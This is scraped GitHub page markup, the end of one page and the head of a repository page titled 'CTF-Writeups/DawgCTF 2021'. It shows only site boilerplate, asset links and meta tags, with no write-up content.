00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · 